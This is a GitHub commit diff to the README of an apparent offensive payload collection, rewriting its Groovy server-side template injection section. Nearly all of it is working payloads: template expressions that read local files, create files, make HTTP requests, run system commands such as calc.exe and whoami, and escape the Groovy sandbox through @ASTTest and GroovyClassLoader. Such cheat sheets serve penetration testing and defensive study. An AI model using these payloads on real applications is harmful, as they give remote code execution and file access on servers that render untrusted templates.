Update README.md

This commit is contained in:
0x-nope 2022-04-20 09:42:58 +02:00 committed by GitHub
parent 7d290ded54
commit 59cae2ddb4
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -194,48 +194,45 @@ ${dwf.newInstance(ec,null)("id")}
[Official website](https://groovy-lang.org/)
### Groovy - Basic injection
Refer to https://groovy-lang.org/syntax.html , but `${9*9}` is the basic injection.
### Groovy - Read and create File
```groovy
String x = new File('c:/windows/notepad.exe').text
String x = new File('/path/to/file').getText('UTF-8')
new File("C:\Temp\FileName.txt").createNewFile();
${String x = new File('c:/windows/notepad.exe').text}
${String x = new File('/path/to/file').getText('UTF-8')}
${new File("C:\Temp\FileName.txt").createNewFile();}
```
### Groovy - HTTP request:
```groovy
"http://www.google.com".toURL().text
new URL("http://www.google.com").getText()
${"http://www.google.com".toURL().text}
${new URL("http://www.google.com").getText()}
```
### Groovy - Command Execution
```groovy
"calc.exe".exec()
"calc.exe".execute()
this.evaluate("9*9") //(this is a Script)
new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()
${"calc.exe".exec()}
${"calc.exe".execute()}
${this.evaluate("9*9") //(this is a Script class)}
${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}
```
### Groovy - Sandbox Bypass
```groovy
@ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")})
def x
${ @ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")})
def x }
```
or
```groovy
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") }
```
---